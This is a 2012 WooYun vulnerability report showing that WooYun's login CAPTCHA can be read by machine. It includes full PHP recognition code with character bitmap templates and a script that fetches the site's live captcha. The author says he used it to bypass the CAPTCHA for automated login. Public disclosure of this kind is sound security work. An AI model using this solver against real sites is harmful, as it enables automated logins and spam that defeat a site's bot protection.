当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-012722

漏洞标题:乌云官方验证码容易识别的bug

相关厂商:乌云官方

漏洞作者: l4yn3

提交时间:2012-09-25 19:31

修复时间:2012-11-09 19:31

公开时间:2012-11-09 19:31

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:6

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-09-25: 细节已通知厂商并且等待厂商处理中
2012-09-25: 厂商已经确认,细节仅向厂商公开
2012-10-05: 细节向核心白帽子及相关领域专家公开
2012-10-15: 细节向普通白帽子公开
2012-10-25: 细节向实习白帽子公开
2012-11-09: 细节向公众公开

简要描述:

乌云官方网站验证码过于简单,用很简单的程序就可以识别出来

详细说明:

乌云官方网站验证码过于简单,用很简单的程序就可以识别出来,然后应该可以绕过验证码进行灌水,我只测试了绕过验证码自动登录。


特征:
1.四个字符,
2.基本无干扰素。
3.字符的rgb特征分别为(255,255,255)或(0, 0, 0),根据此特征可识别字符。
4.共涉及字母和数字22个,貌似没有0和O,1和I,可能是怕分不清楚。
5.字符间距各1个像素,很固定。
6.字符宽度8像素,高度10像素,很固定。
7.图片上间距和左间距固定,各为4px和14px,固定不变。
识别思路:
1.二值化,根据字符的rgb特征分别为(255,255,255)或(0, 0, 0)的特征将字符像素变成1,其他为0.
2.取字模,手机22个验证码字符的二进制字模。
3.和乌云验证码对比,识别验证码。

<?php
/*=============================================================================
# FileName: get_word_from_imge.php
# Desc: 简单的验证码识别程序
# Author: l4yn3
# HomePage: http://hi.baidu.com/l4yn3/
# Version: 0.0.1
# LastChange: 2012-09-25 18:46:32
# 参考知识: http://blog.csdn.net/ugg/article/details/3953137
=============================================================================*/
define('WORD_WIDTH',8); //字符宽度
define('WORD_HIGHT',10); //字符高度
define('WORD_SPACING',1); //字符间距
/**
* 乌云官方验证码识别类
*/
class valite
{
var $data;
var $Keys;
var $ImagePath;
public function setImage($image)
{
$this->ImagePath = $image;
}

public function getHec()
{
global $sign;
$num = ($sign == "black") ? 0 : 255 * 3;
$res = imagecreatefrompng($this->ImagePath);
$size = getimagesize($this->ImagePath);
$data = array();
for($i = 0; $i < $size[1]; ++$i)
{
for($j=0; $j < $size[0]; ++$j)
{
$rgb = imagecolorat($res,$j,$i);
$rgbarray = imagecolorsforindex($res, $rgb);
if($rgbarray['red'] + $rgbarray['green'] + $rgbarray['blue'] !== $num)
{
$data[$i][$j] = 0;
}
else
{
$data[$i][$j] = 1;
}
}
}
$this->DataArray = $data;
$this->ImageSize = $size;
}

public function run()
{
global $offset_x, $offset_y, $sign;
$num = ($sign == "black") ? 0 : 255 * 3; //判断是黑色文字还是白色文字
$result="";
$data = array("","","","");
$res = imagecreatefrompng($this->ImagePath);
$size = getimagesize($this->ImagePath);

for($a = 1; $a <= 4; $a++)
{
$str = '';
for($i = $offset_y; $i < $offset_y + WORD_HIGHT; $i++)
{
for($j = $offset_x + ($a - 1) * WORD_WIDTH + ($a - 1) * WORD_SPACING; $j < $offset_x + WORD_WIDTH * $a + ($a - 1) * WORD_SPACING; $j++)
{
$rgb = imagecolorat($res, $j, $i);
$rgb_arr = imagecolorsforindex($res, $rgb);
$data[$a-1] .= $this->DataArray[$i][$j];
}
}
}

// 进行关键字匹配
foreach($data as $numKey => $numString)
{
$max = 0.0;
$num = 0;
foreach($this->Keys as $key => $value)
{
$percent = 0.0;
similar_text($value, $numString,$percent); //判断字符的相似度
if(intval($percent) > $max)
{
$max = $percent;
$num = $key;
if(intval($percent) == 100)
break;
}
}
$result.=$num;
}
$this->data = $result;
return $result;
}
public function __construct()
{
/*识别出来的乌云验证码字模信息*/
$this->Keys = array(
'0'=>'',
'1'=>'',
'2'=>'00111100011001101100001100000011000001100000110000011000001100000110000011111111',
'3'=>'01111100110001100000001100000110000111000000011000000011000000111100011001111100',
'4'=>'00000110000011100001111000110110011001101100011011111111000001100000011000000110',
'5'=>'11111110110000001100000011011100111001100000001100000011110000110110011000111100',
'6'=>'00111100011001101100001011000000110111001110011011000011110000110110011000111100',
'7'=>'11111111000000110000001100000110000011000001100000110000011000001100000011000000',
'8'=>'00111100011001101100001101100110001111000110011011000011110000110110011000111100',
'9'=>'00111100011001101100001111000011011001110011101100000011010000110110011000111100',
'A'=>'00011000001111000110011011000011110000111100001111111111110000111100001111000011',
'B'=>'11111100110001101100001111000110111111001100011011000011110000111100011011111100',
'C'=>'00111110011000111100000111000000110000001100000011000000110000010110001100111110',
'D'=>'11111100110001101100001111000011110000111100001111000011110000111100011011111100',
'E'=>'11111110110000001100000011000000111111001100000011000000110000001100000011111110',
'F'=>'11111111110000001100000011000000111111001100000011000000110000001100000011000000',
'G'=>'00111110011000111100000011000000110000001100011111000011110000110110001100111110',
'H'=>'11000011110000111100001111000011111111111100001111000011110000111100001111000011',
'I'=>'',
'J'=>'00011110000001100000011000000110000001100000011000000110010001100110110000111000',
'K'=>'11000011110001101100110011011000111100001111000011011000110011001100011011000011',
'L'=>'11000000110000001100000011000000110000001100000011000000110000001100000011111110',
'M'=>'11000011111001111111111111011011110110111101101111000011110000111100001111000011',
'N'=>'11000011111000111111001111110011110110111101101111001111110001111100011111000011',
'O'=>'',
'P'=>'11111110110000111100001111000011111111101100000011000000110000001100000011000000',
'Q'=>'00111100011001101100001111000011110000111100001111011011110011110110011000111101',
'R'=>'11111110110000111100001111000011111111101111100011001100110001101100001111000011',
'S'=>'01111110110000111100000011000000011111100000001100000011000000111100001101111110',
'T'=>'11111111000110000001100000011000000110000001100000011000000110000001100000011000',
'U'=>'11000011110000111100001111000011110000111100001111000011110000110110011000111100',
'V'=>'11000011110000111100001101100110011001100110011000111100001111000001100000011000',
'W'=>'11000011110000111100001111000011110110111101101111011011111111111110011111000011',
'X'=>'11000011110000110110011000111100000110000001100000111100011001101100001111000011',
'Y'=>'11000011110000110110011000111100000110000001100000011000000110000001100000011000',
'Z'=>'11111110000001100000011000001100000110000011000001100000110000001100000011111110',
);
}
}
/**
*
* 此函数用于获得字符特征值,即获取验证码的特征值
*/
function getOffSetX($img)
{
global $offset_x, $offset_y, $sign;
$res = imagecreatefrompng($img);
$size = getimagesize($img);
for($a = 1; $a <= 4; $a++)
{
$str = '';
for($i = $offset_y; $i < $offset_y + WORD_HIGHT; $i++)
{
for($j = $offset_x + ($a - 1) * WORD_WIDTH + ($a - 1) * WORD_SPACING; $j < $offset_x + WORD_WIDTH * $a + ($a - 1) * WORD_SPACING; $j++)
{
$rgb = imagecolorat($res, $j, $i);
$rgb_arr = imagecolorsforindex($res, $rgb);
$num = ($sign == "black") ? 0 : 255 * 3;
if($rgb_arr['red'] + $rgb_arr['green'] + $rgb_arr['blue'] != $num)
{
$str .= '0';
}
else
{
$str .= '1';
}
}
}
return $str;
}
return $str;
}
/**
* 判断是黑色文字 还是白色文字 乌云两种颜色验证码,黑字和白字
*/
function checkBOrW($img)
{
$res = imagecreatefrompng($img);
$size = getimagesize($img);
$str = "";
for($i = 0; $i < $size[1]; $i++)
{
for($j = 0; $j < $size[0]; $j++)
{
$rgb = imagecolorat($res, $j, $i);
$rgb_arr = imagecolorsforindex($res, $rgb);
$str .= $rgb_arr["green"].$rgb_arr["red"].$rgb_arr["blue"];
}
}
if(preg_match("/(255){3}/", $str))
{
return "white"; //白色文字
}
else
{
return 'black'; //黑色文字
}
}
/**
* 获取offset_x和offset_y
*/
function getOffSet($img = '')
{
global $sign;
$num = ($sign == "black") ? 0 : 255 * 3; //判断是黑色文字还是白色文字
$res = imagecreatefrompng($img);
$size = getimagesize($img);
$offset_x = '';
$offset_y = '';
for($i = 1; $i < $size[0]; $i++)
{
for($j = 1; $j < $size[1]; $j++)
{
$rgb = imagecolorat($res, $i, $j);
$rgb_arr = imagecolorsforindex($res, $rgb);
if($rgb_arr['red'] + $rgb_arr['green'] + $rgb_arr['blue'] == $num)
{
$offset_x = $i;
break;
}
}
if($offset_x)
{
break;
}
}
for($i = 1; $i < $size[1]; $i++)
{
for($j = 1; $j < $size[0]; $j++)
{
$rgb = imagecolorat($res, $j, $i);
$rgb_arr = imagecolorsforindex($res, $rgb);
if($rgb_arr['red'] + $rgb_arr['green'] + $rgb_arr['blue'] == $num)
{
$offset_y = $i;
break;
}
}
if($offset_y)
{
break;
}
}
return array('offset_x'=>$offset_x, 'offset_y'=>$offset_y);
}


<?php
include("get_word_from_imge.php");
$img = "http://www.wooyun.org/captcha.php"; //验证码图片名称
$content = get_remove_content($img);
file_put_contents("hi.png", $content);
$img = "hi.png";
$sign = checkBOrW($img);
$offset_arr = getOffSet($img);print_r($offset_arr);exit;
extract($offset_arr);
//getOffSetX($img); //获取特征值
$valite = new valite();
$valite->setImage($img);
$valite->getHec();
$result = $valite->run();
echo $result;

漏洞证明:


修复方案:

使验证码不规则化,增加更复杂的干扰素,减少可识别固定特征(比如字符间距,文字距离图片间距)。其他各种干扰方式。

版权声明:转载请注明来源 l4yn3@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:2

确认时间:2012-09-25 19:32

厂商回复:

非常感谢作者详细的提交,内容非常丰富,但是这个问题我们认为我们可能不会修复 :)

最新状态:

暂无


漏洞评价:

评论

  1. 2012-09-25 19:33 | 风萧萧 认证白帽子 ( 核心白帽子 | Rank:1020 漏洞数:76 | 人这一辈子总要动真格的爱上什么人)

    又来了。。。

  2. 2012-09-25 19:39 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    月经洞

  3. 2012-09-25 20:55 | l4yn3 ( 路人 | Rank:15 漏洞数:3 | PHPER)

    哈,环境不同,问题的重要性不同。理解。

  4. 2012-09-26 16:10 | 凤凰 ( 路人 | Rank:15 漏洞数:6 | 涅磐)

    @l4yn3 求识别程序哈

  5. 2012-09-26 16:12 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @l4yn3 +1

  6. 2012-10-05 19:51 | 风萧萧 认证白帽子 ( 核心白帽子 | Rank:1020 漏洞数:76 | 人这一辈子总要动真格的爱上什么人)

    很赞

  7. 2012-10-16 08:35 | 西毒 ( 普通白帽子 | Rank:221 漏洞数:33 | 心存谦卑才能不断超越自我)

    终于看到你了,哈哈

  8. 2012-10-26 10:08 | Breaker ( 路人 | Rank:12 漏洞数:1 )

    为什么不修复呀?

  9. 2012-11-09 20:15 | 苦逼老爷爷 ( 普通白帽子 | Rank:211 漏洞数:17 | 用户太懒什么都没留下)

    最恨那些神人共愤的验证码,叫上几个人来一起研究半天错上n次后才能蒙对一次。这用户体验,不提了。

  10. 2012-11-10 15:19 | feixiang ( 路人 | Rank:0 漏洞数:1 | = = !性别男,爱好女,有理想,没技术。)

    @Breaker wooyun采用邀请制度,所以谁敢用ID灌水试试。。。灌水一个封一个。

  11. 2012-11-11 08:27 | Breaker ( 路人 | Rank:12 漏洞数:1 )

    @feixiang 好吧....

  12. 2012-11-11 17:26 | l4yn3 ( 路人 | Rank:15 漏洞数:3 | PHPER)

    @feixiang 首先问题算不算问题不应该由客观条件决定,而且貌似提交漏洞不需要是乌云会员吧,这个点能不能灌各位可以试试。